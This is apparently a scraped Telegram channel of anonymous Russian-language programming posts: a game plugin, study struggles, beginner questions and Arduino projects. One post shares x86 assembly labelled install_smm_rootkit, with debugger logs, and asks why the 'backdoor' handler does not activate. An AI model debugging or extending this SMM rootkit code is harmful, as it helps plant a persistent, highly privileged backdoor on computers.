Programming confessions ✍️💻
Плагин: /*: * @plugindesc Добавляет кнопку Equip в сцену инвентаря для перехода в экипировку * * @param Button Width * @desc Ширина кнопки Equip (по умолчанию: 220) * @default 220 * @type number * * @param Button Height * @desc Высота кнопки Equip…
this._headerWindow = new Window_Base(0, 0, Graphics.boxWidth, windowHeight);
this._headerWindow.opacity = 255;
this.addWindow(this._headerWindow);
this._headerWindow.contents.fontSize = 64;
this._headerWindow.drawText("Items", 0, 25, Graphics.boxWidth, 'center');
};
Scene_Inventory.prototype.createTabButton = function() {
var x = Graphics.boxWidth - buttonWidth - 30;
var y = Graphics.boxHeight - buttonHeight - 30;
this._tabButton = new Window_TabButton(x, y, buttonWidth, buttonHeight, "Equipment");
this._tabButton.setHandler('ok', this.commandEquipment.bind(this));
this._tabButton.setHandler('cancel', this.commandCancel.bind(this));
this.addWindow(this._tabButton);
};
Scene_Inventory.prototype.createGoldWindow = function() {
this._goldWindow = new Window_Gold();
this._goldWindow.x = 20;
this._goldWindow.y = Graphics.boxHeight - this._goldWindow.height - 20;
this.addWindow(this._goldWindow);
};
Scene_Inventory.prototype.createItemWindows = function() {
this._categoryWindow = new Window_ItemCategory();
this._categoryWindow.y = 120;
this._categoryWindow.setHandler('ok', this.onCategoryOk.bind(this));
this._categoryWindow.setHandler('cancel', this.commandCancel.bind(this));
this.addWindow(this._categoryWindow);
var wy = this._categoryWindow.y + this._categoryWindow.height;
var wh = Graphics.boxHeight - wy - 190;
this._itemWindow = new Window_ItemList(0, wy, Graphics.boxWidth, wh);
this._itemWindow.setHelpWindow(this._helpWindow);
this._itemWindow.setHandler('ok', this.onItemOk.bind(this));
this._itemWindow.setHandler('cancel', this.onItemCancel.bind(this));
this._categoryWindow.setItemWindow(this._itemWindow);
this.addWindow(this._itemWindow);
};
Scene_Inventory.prototype.commandEquipment = function() {
SoundManager.playOk();
SceneManager.push(Scene_Equip);
};
Scene_Inventory.prototype.commandCancel = function() {
SoundManager.playCancel();
this.popScene();
};
Scene_Inventory.prototype.onCategoryOk = function() {
this._itemWindow.activate();
this._itemWindow.select(0);
};
Scene_Inventory.prototype.onItemOk = function() {
var item = this._itemWindow.item();
if (item) {
this._itemWindow.activate();
}
};
Scene_Inventory.prototype.onItemCancel = function() {
this._categoryWindow.activate();
this._itemWindow.deselect();
};
Scene_Inventory.prototype.update = function() {
Scene_MenuBase.prototype.update.call(this);
this.updateTabNavigation();
};
Scene_Inventory.prototype.updateTabNavigation = function() {
var activeWindow = this.getActiveWindow();
if (activeWindow && activeWindow.active && Input.isTriggered('down')) {
activeWindow.deactivate();
activeWindow.deselect();
this._tabButton.activate();
this._tabButton.select(0);
} else if (this._tabButton.active && Input.isTriggered('up')) {
this._tabButton.deactivate();
this._tabButton.deselect();
this.activateMainWindow();
}
if (this._tabButton.active && Input.isTriggered('ok')) {
this._tabButton.processOk();
}
};
Scene_Inventory.prototype.getActiveWindow = function() {
return this._categoryWindow.active ? this._categoryWindow :
this._itemWindow.active ? this._itemWindow : null;
};
Scene_Inventory.prototype.activateMainWindow = function() {
this._categoryWindow.activate();
this._categoryWindow.select(0);
};
Scene_Menu.prototype.commandItem = function() {
SceneManager.push(Scene_Inventory);
};
})();
Всем привет. Пост по-большей части адресован к тем, кто учится/учился на IT специальности. У меня есть проблема, очень большая и которая достаточно сильно затрудняет обучение, а именно – отсутсвие какого-либо желания учится.
Учусь на специальность "Разработчик Веб И Мультимедийных Приложений", 2 колледжный курс. С начала года нас начали учить плюсам, и, по началу, вроде как все хорошо шло, но потом у меня начались жесткие трудности, когда дело дошло до указателей, массивов, строк и т.д. И я не знала что с этим делать. Когда у меня было время и хоть какие то силы практиковаться мне просто напросто не хотелось. Тяготило от одной мысли это делать. Сейчас мы резко перешли на Джаву и тут та же ситуëвина. Ну не хочу и всё. Хотя знаю, что надо. Но просто не могу ничего с этим чувством поделать.
Сажусь за компьютер, включаю редактор, видео на ютубе, статьи на метаните и... Мой мозг просто блокирует всю поступающую информацию, не хочет вчитываться.
Я не знаю что делать.
Отчислятся и бросать все это дело не очень вариант...
Может, дело не только в программировании, может, я в принцепе не в ресурсе учится в настоящее время, но все-таки...
Хотелось бы узнать было ли у кого-то также и если да, то как вы справлялись? Как вы заставляли себя вливаться в это дело? Что вас сподвигло продолжить работать? Как хотя-бы немножко заинтересовать себя?
Мне действительно не хочется бросать все это дело, у нас так же преподают на другой дисциплине HTML и CSS, и вот этим мне интересно заниматься, хоть у нас не так часто пары проходят...
Учусь на специальность "Разработчик Веб И Мультимедийных Приложений", 2 колледжный курс. С начала года нас начали учить плюсам, и, по началу, вроде как все хорошо шло, но потом у меня начались жесткие трудности, когда дело дошло до указателей, массивов, строк и т.д. И я не знала что с этим делать. Когда у меня было время и хоть какие то силы практиковаться мне просто напросто не хотелось. Тяготило от одной мысли это делать. Сейчас мы резко перешли на Джаву и тут та же ситуëвина. Ну не хочу и всё. Хотя знаю, что надо. Но просто не могу ничего с этим чувством поделать.
Сажусь за компьютер, включаю редактор, видео на ютубе, статьи на метаните и... Мой мозг просто блокирует всю поступающую информацию, не хочет вчитываться.
Я не знаю что делать.
Отчислятся и бросать все это дело не очень вариант...
Может, дело не только в программировании, может, я в принцепе не в ресурсе учится в настоящее время, но все-таки...
Хотелось бы узнать было ли у кого-то также и если да, то как вы справлялись? Как вы заставляли себя вливаться в это дело? Что вас сподвигло продолжить работать? Как хотя-бы немножко заинтересовать себя?
Мне действительно не хочется бросать все это дело, у нас так же преподают на другой дисциплине HTML и CSS, и вот этим мне интересно заниматься, хоть у нас не так часто пары проходят...
❤2
Три года я дружу с ассемблером и уже второй раз вспоминаю о мнемоническом правиле насчёт порядка аргументов, которым хотел бы поделиться
Не секрет, что в x86-64 аргументы системных вызовов передаются в регистрах в строго определённом порядке: rdi, rsi, rdx, r10, r8, r9. С помощью правила "Дима сидит рядом" можно запомнить порядок первых трёх регистров
ДИма – rDI
СИдит – rSI
РяДом – RDx
Не секрет, что в x86-64 аргументы системных вызовов передаются в регистрах в строго определённом порядке: rdi, rsi, rdx, r10, r8, r9. С помощью правила "Дима сидит рядом" можно запомнить порядок первых трёх регистров
ДИма – rDI
СИдит – rSI
РяДом – RDx
❤10💋2⚡1
всем пр, не раз в тт видел как кидаются дерьмом в так называемых "вайбкодеров" кто нибудь, объясните кто эти вайбкодеры ваще такие, и в чем их проблема🤔🤔
❤2⚡1
Привет. Нужна удобная библиотека на Python, чтобы скачать весь контент сайта с Wayback Machine. Если пользовались такими - скиньте ссылку пожалуйста. Мой любимый веб-комикс (точнее перевод на него) может пропасть..
❤2⚡1💋1💘1
привет начинатели и пробователи айти направленности
почему вы до сих пор пробователи и начинатели а не кто-то покруче?
почему вы до сих пор пробователи и начинатели а не кто-то покруче?
👍2⚡1❤1
Здраствуйте, можете подсказать какой язык лучше воспринимается на огэ? Ну тоесть может там программа проверяющая есть и она что-то хуже понимает
🤔4💋1
как вообще начать изучать с#? я знаю ну кое-какие прям базо базовые знания по с++, но я просто не выкупаю как изучать языки
может посоветуете какие-нибудь курсы или книги вот чтоб прям для ТУПЫХ? 😭😭😭
может посоветуете какие-нибудь курсы или книги вот чтоб прям для ТУПЫХ? 😭😭😭
This media is not supported in your browser
VIEW IN TELEGRAM
недели две назад у меня сломался мой супер калькулятор. я расплакался ибо я верный физмат (и к слову, никогда не программировал). и мне пришла в голову мысль, а что, если не покупать новый, а сделать его самому? ну вот такой калькулятор на ардуино у меня получился. зацените))
меня это оч завлекло и теперь у меня в мозге куча проектов. например я хочу сделать рацию (не через ардуино, а через настоящие приемник, антенну и т д). но это уже надо изучать радиотехнику.
я хочу научиться самостоятельно писать к ардуино коды, не залазя ни в какой сайт для подсказок. есть ли хорошие интернет-ресурсы, чтобы научится С++?
меня это оч завлекло и теперь у меня в мозге куча проектов. например я хочу сделать рацию (не через ардуино, а через настоящие приемник, антенну и т д). но это уже надо изучать радиотехнику.
я хочу научиться самостоятельно писать к ардуино коды, не залазя ни в какой сайт для подсказок. есть ли хорошие интернет-ресурсы, чтобы научится С++?
❤15
Реально можно ли в будущем работать по кибербез, пройдя курсы (ну и самостоятельно что-то делая)?
💋2
This media is not supported in your browser
VIEW IN TELEGRAM
Весело играюсь с новыми компонентами
Закину скетч, если кто-то захочет себе такое звуковое сопровождение, лол
Мб плату сделаю и спаяю, только надо микро почувствительнее найти и резисторы с меньшим сопротивлением заказать
Закину скетч, если кто-то захочет себе такое звуковое сопровождение, лол
Мб плату сделаю и спаяю, только надо микро почувствительнее найти и резисторы с меньшим сопротивлением заказать
💋6❤3🥰2
global install_smm_rootkit
install_smm_rootkit:
mov ecx, 0x9E
rdmsr
mov [original_smi_handler], eax
mov eax, w_smi_handler
wrmsr
mov eax, 0xDEADBEEF
mov [trigger_address], eax
mov dx, 0xB2
mov al, 0xFE
out dx, al
ret
здравствуйте! ассемблер х86. обработчик не вызывается, бекдор устанавливается но не активируется. система выполняет стандартный обработчик а не мой.
логи
SMI: Handling SMI# 0xFE at vector 0x38
SMI: CPU0 entering SMM at 0x7E0000
SMI: CPU0 exiting SMM, total time 112us
SMI: Handler for code 0xFE completed successfully
динамический анализ
(gdb) x/10i install_smm_rootkit
0x7fffe001: mov $0x9e,%ecx
0x7fffe007: rdmsr
0x7fffe009: mov %eax,0x7fffe100
0x7fffe00e: mov $0x7fffe200,%eax
0x7fffe013: wrmsr
0x7fffe015: mov $0xdeadbeef,%eax
0x7fffe01a: mov %eax,0x7fffe104
0x7fffe01f: mov $0xb2,%dx
0x7fffe023: mov $0xfe,%al
0x7fffe025: out %al,(%dx)
(gdb) p /x $al
$1 = 0xfe
(gdb) si
отладчик
SMM_Debug: SMI# 0xFE triggered by I/O write to 0xB2
SMM_Debug: Executing default handler for SMI code 0xFE
SMM_Debug: Default handler: system maintenance
SMM_Debug: SMI processing completed, RSM executed
не понимаю где ошибка, может кто поможет? там, где спрашивал, к сожалению, проблему не нашли. гипотезы о регистрации в неправильном мср и неправильного адреса обработчика исключены
install_smm_rootkit:
mov ecx, 0x9E
rdmsr
mov [original_smi_handler], eax
mov eax, w_smi_handler
wrmsr
mov eax, 0xDEADBEEF
mov [trigger_address], eax
mov dx, 0xB2
mov al, 0xFE
out dx, al
ret
здравствуйте! ассемблер х86. обработчик не вызывается, бекдор устанавливается но не активируется. система выполняет стандартный обработчик а не мой.
логи
SMI: Handling SMI# 0xFE at vector 0x38
SMI: CPU0 entering SMM at 0x7E0000
SMI: CPU0 exiting SMM, total time 112us
SMI: Handler for code 0xFE completed successfully
динамический анализ
(gdb) x/10i install_smm_rootkit
0x7fffe001: mov $0x9e,%ecx
0x7fffe007: rdmsr
0x7fffe009: mov %eax,0x7fffe100
0x7fffe00e: mov $0x7fffe200,%eax
0x7fffe013: wrmsr
0x7fffe015: mov $0xdeadbeef,%eax
0x7fffe01a: mov %eax,0x7fffe104
0x7fffe01f: mov $0xb2,%dx
0x7fffe023: mov $0xfe,%al
0x7fffe025: out %al,(%dx)
(gdb) p /x $al
$1 = 0xfe
(gdb) si
отладчик
SMM_Debug: SMI# 0xFE triggered by I/O write to 0xB2
SMM_Debug: Executing default handler for SMI code 0xFE
SMM_Debug: Default handler: system maintenance
SMM_Debug: SMI processing completed, RSM executed
не понимаю где ошибка, может кто поможет? там, где спрашивал, к сожалению, проблему не нашли. гипотезы о регистрации в неправильном мср и неправильного адреса обработчика исключены
Есть тут кто учится на бизнес информатике? Как там с программированием, не слишком мало?
Есть вообще смысл поступать на это направление?
Есть вообще смысл поступать на это направление?
Даров, родные, темка следующая — узнав от кента про то, что в нашей необьятной практикуют систему белых списков, созрел вопрос: а как, собсна эти белые списки в перспективе можно будет обходить?
Через дыры в разрешенных сервисах? Или искать альтернативные каналы связи?
Я, если честно, в политоте полный ноль и все новости до меня докатились только дня два-три назад, а кент как раз пророчит чуть ли не кванмён два дот ноль. Он, кстати, в политике столько же, сколько в интернете впринципе, поетому оснований верить у меня много, но в этот раз почему-то не особо хочется...
Через дыры в разрешенных сервисах? Или искать альтернативные каналы связи?
Я, если честно, в политоте полный ноль и все новости до меня докатились только дня два-три назад, а кент как раз пророчит чуть ли не кванмён два дот ноль. Он, кстати, в политике столько же, сколько в интернете впринципе, поетому оснований верить у меня много, но в этот раз почему-то не особо хочется...
💋2
This media is not supported in your browser
VIEW IN TELEGRAM
Какая есть альтернатива Cloudflare? заебало уже постоянно считатся с их сбоями, в техподдержке как обычно либо нейронка, либо индус и оба невдупляют нихуя
💋7
Всем привет! Ищем двух человек для участия в геймджеме в Алмате! Ивент проходит оффлайн, поэтому нужны люди только из этого города. Один человек умеет чуть-чуть работать в годот, я же нулевая(сейчас изучаю с#). Мы идём чисто ради опыта и веселья, не ради победы
Пишите в анонку. Если есть вопросы, то задавайте http://t.me/anonaskbot?start=2hbce
Пишите в анонку. Если есть вопросы, то задавайте http://t.me/anonaskbot?start=2hbce
Telegram
Анонимные сообщения
Бот для получения анонимных сообщений в Телеграме
Тех. поддержка бота — @botomanager
Тех. поддержка бота — @botomanager
👍2💋1